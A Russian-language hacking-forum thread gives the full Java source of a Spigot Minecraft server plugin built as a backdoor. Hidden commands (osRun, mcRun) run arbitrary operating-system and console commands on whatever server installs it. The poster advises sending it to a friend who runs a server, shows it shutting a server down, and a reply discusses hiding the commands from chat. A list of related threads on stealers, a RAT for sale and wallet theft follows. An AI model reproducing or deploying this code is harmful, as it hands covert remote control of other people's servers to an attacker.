Интересно Java - Получаем SHELL через Minecraft плагин

L

LightMan

Original poster
Серверная часть minecraft написана на джаве и плагины тоже пишуться на ней.
В качестве цели я выбрал ядро
Spigot для написания бекдора (кроме спигота есть ещё очень много разных ядер)

Spigot — глобальная серверная модификация, предоставляющая API для взаимодействия с игровым миром и созданная для упрощения создания плагинов к SMP-серверу. Spigot создан на основе ядра

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

и призван заменить «старшего брата» стабильностью и производительностью. Кроме этого, почти все плагины, написанные для CraftBukkit, пойдут и на Spigot, но на Spigot написаны и собственные, недоступные CraftBukkit’у плагины.


Файл BackdoorPlugin.java
При загрузке плагина сервером(onEnable) мы говорим что команды osRun и mcRun должны обрабатываться нашим CommandsHandler
Java:
package lightman.backdoor;

import org.bukkit.plugin.java.JavaPlugin;

public class BackdoorPlugin extends JavaPlugin {
    @Override
    public void onDisable() { }

    @Override
    public void onEnable() {
        for (String c : new String[] { "osRun", "mcRun" }) {
            getCommand(c).setExecutor(new CommandsHandler(this));
        }
    }
}

Файл CommandsHandler.java
Обработчик наших команд.
Функция onCommand будет запускаться если игрок выполнит одну из команд которые были установлены выше.
Символ "§" значит что мы хотим использовать цвета в чате

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


таким образом строка "§4Hello" будет в чате будет как "Hello"
Java:
package lightman.backdoor;

import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.ConsoleCommandSender;

public class CommandsHandler implements CommandExecutor {
    BackdoorPlugin plugin;

    public CommandsHandler(BackdoorPlugin plugin) {
        this.plugin = plugin;
    }
   
    private static final String OSUser = System.getProperty("user.name");

    @Override
    public boolean onCommand(final CommandSender sender, Command cmd, String label, String[] args) {
        String cmdName = cmd.getName().toLowerCase();
        final String cmdArgs = String.join(" ", args);
       
        // Run OS command
        if (cmdName.equals("osrun")) {
            // Run command in new thread
            new Thread() {
                public void run() {
                    sender.sendMessage(String.format("§6[%s]§7 Running OS command: '%s'", OSUser, cmdArgs));
                    String result = CommandsRunner.ExecCommand(cmdArgs);
                    // Show results
                    if (!result.contains("\n")) {
                        sender.sendMessage("§eResult: §7" + result);
                    } else {
                        // Show results with \n
                        for (String result_str : result.split("\n")) {
                            sender.sendMessage("§7" + result_str);
                        }
                    }
                }
            }.start();
            return true;
        // Run console command
        } else if (cmdName.equals("mcrun")) {
            sender.sendMessage("§7[Server] §7Running MC command: " + cmdArgs);
            ConsoleCommandSender console = sender.getServer().getConsoleSender();
            return Bukkit.dispatchCommand(console, cmdArgs);
        }

        return false;
    }
}

Файл CommandsRunner.java
Там есть функция которая выполняет команды нашей ОС (Виндовс, Линукс)
Java:
package lightman.backdoor;

import java.util.Scanner;
import java.io.IOException;
import java.net.URLDecoder;
import java.io.UnsupportedEncodingException;

public class CommandsRunner {
   
    private final static String OSName = System.getProperty("os.name").toLowerCase();
   
    public static String ExecCommand(String command) {
        String result = "";
        try {
            // Detect OS & create process
            Process proc;
            if (OSName.contains("windows")) {
                proc = Runtime.getRuntime().exec(
                        new String[] { "cmd.exe", "/c", command }
                    );
            } else {
                proc = Runtime.getRuntime().exec(command);
            }
           
            // Read output
            Scanner sc = new Scanner(proc.getInputStream());
            while (sc.hasNext()) {
                result += sc.next();
            }
            sc.close();
        } catch (IOException e) { e.printStackTrace(); }
        // Decode results...
        try { return URLDecoder.decode(result, "utf-8");
        } catch (UnsupportedEncodingException e) { return result; }
    }
}
Осталось кинуть наш плагин другу у которого есть свой сервер ;)

Пример работы плагина если сервер запущен на винде
  • Создание папки 123
  • Выдаче себе опки(типо прав админа)
  • Оповещение в чат /say
windows.gif




Пример работы плагина если сервер запущен на линуксе (просто сделал shutdown :unsure:)

linux.gif


P.S. Как компилить под нужную версию ядра ищите сами
P.S.S через мод на майнкрафт можно сделать что-то похожее (А мод ставиться клиенту, а не серверу :p)


Исходники тут:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


 

Вложения

  • preview.png
    preview.png
    75.4 КБ · Просмотры: 14
Последнее редактирование модератором:
I

I dont know

Original poster
Очень интересный backdoor
А можно сделать через чат? Как пример игрок пишет .osrun say hi!, сообщение не отправляется но команда "say" выполняется?
 
L

LightMan

Original poster
Очень интересный backdoor
А можно сделать через чат? Как пример игрок пишет .osrun say hi!, сообщение не отправляется но команда "say" выполняется?
Нет, плагины хотят именно через /command а не .command (хотя это можно сделать) да и если на сервере не будет стоять вредонос то все увидят в чате что вы хотели сделать, а если через / то сервер просто ответит что команда не найдена.
 
Название темы
Автор Заголовок Раздел Ответы Дата
grum Закрыто Набор в команду (нужны люди со знанием html , c++ , java , электроника ) Корзина 1
L Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 8
E Backend Java developer Предоставляю работу. Ищу специалиста. 0
E Java-программист уровня middle-senior Предоставляю работу. Ищу специалиста. 0
C пытаюсь установить java на кали и ошибка с пакетами. Кто разбираеться help. Вопросы и интересы 1
B Изучаем основы Java за 2 дня Основы ООП на Java. Экстремальное погружение Полезные статьи 0
G JSQL - Java инструмент для автоматизации SQL инъекций Kali Linux 0
I Продам java Rat Продажа софта 19
N Java SE 8. Вводный курс - Кей С. Хорстманн Другие ЯП 0
D вопрос к профи по java Вопросы и интересы 2
С Вопрос к тем, кто знаком с html и java скриптами Вопросы и интересы 0
B Хорошие курсы по программированию (JAVA) Вопросы и интересы 11
Admin flash и java в браузере, через ssh/socks5 Настройка системы для работы 2
Admin [Java brute] RGhost brute\cheker Другие ЯП 0
Little_Prince Интересно Получаем бесплатно The Forest Quartet+Out of Line [Epic Games] Другое 1
K Интересно Получаем NFT от Muzzle Run Другое 0
АнАлЬнАя ЧуПаКаБрА Интересно Получаем 100 DOGE (Халява) Другое 17
L Получаем доступ к чужому крипто-кошельку blockchain.com , Atomic Wallet и MetaMask Уязвимости и взлом 6
T Получаем верифицированный CDEK ID Анонимность и приватность 0
F Получаем 10 TRX за регистрацию, а так же 5 TRX за друга Способы заработка 1
Р Получаем виртуальный номер бесплатно Другое 3
Р Интересно Получаем Дедик microsoft Раздача dedic/ssh/proxy 1
G Интересно Получаем бесплатно Witcher 1 в GOG Новости в сети 1
NickelBlack Интересно Получаем бесплатные,нормальные прокси каждый день и без ограничений Полезные статьи 0
NickelBlack Интересно Получаем 27$ на халяву Способы заработка 1
T Интересно Получаем посылки с Почты России анонимно Полезные статьи 1
X Получаем бесплатный дедик на 3 дня [2020] Другое 3
K Получаем 1000 сообщений ВК, монетизируем Все что не подошло по разделу 1
АнАлЬнАя ЧуПаКаБрА Интересно Получаем безлимитный google диск [2020] Другое 1
E Интересно Получаем доступ к зашифрованным ZIP-файлам Полезные статьи 1
АнАлЬнАя ЧуПаКаБрА Интересно Получаем халявную накрутку Соц.сетей [YouTube/VK/Inst] + БАГ Полезные статьи 1
A Получаем на халяву домен для своих нужд! Другое 5
C Получаем доступ к админке роутера и поднимаем VPN. Уязвимости и взлом 0
S Интересно Хак для Xiaomi Camera. Получаем контроль над дешевой и практичной камерой наблюдения и приучаем ее к iOS Уязвимости и взлом 0
K Получаем 60 рублей с моментальным выводом Другое 0
Sasha3108 Получаем токены MCOFF сразу на кошелёк Способы заработка 0
Sasha3108 Получаем токены AXX сразу на кошелёк Способы заработка 2
E $199 Camtasia 9.X Получаем Оригинальную лицензию бесплатно! Полезные статьи 1
M Получаем доступ к удалённым сообщениям в WhatsApp Полезные статьи 0
M Разведка в Active Directory. Получаем пользовательские данные в сетях Windows без привилегий Корзина 2
Sasha3108 Получаем токены Qitcoin (QTC) сразу на кошелёк Способы заработка 0
Sasha3108 Получаем 10$ на депозит (ограничено для 5000 участников) Способы заработка 2
Sasha3108 Получаем криптовалюту EcoG9Coin за регистрацию на бирже Способы заработка 0
Sasha3108 Получаем 1500 QLC сразу на кошелёк (~15$) Способы заработка 0
Sasha3108 Получаем токены Monnos сразу на кошелёк Программирование 0
ev0117434 Интересно Получаем бесплатный WiFi в вашем городе Уязвимости и взлом 21
Admin Получаем доступ к чужим майнерам, используя OSINT Уязвимости и взлом 4
АнАлЬнАя ЧуПаКаБрА INLINE Получаем статистику посещений для сайтов Проекты Private Keeper 0
F Получаем 5 голосов вк на халяву Раздача dedic/ssh/proxy 9
T Получаем доступ к FTP через стиллер Полезные статьи 0

Название темы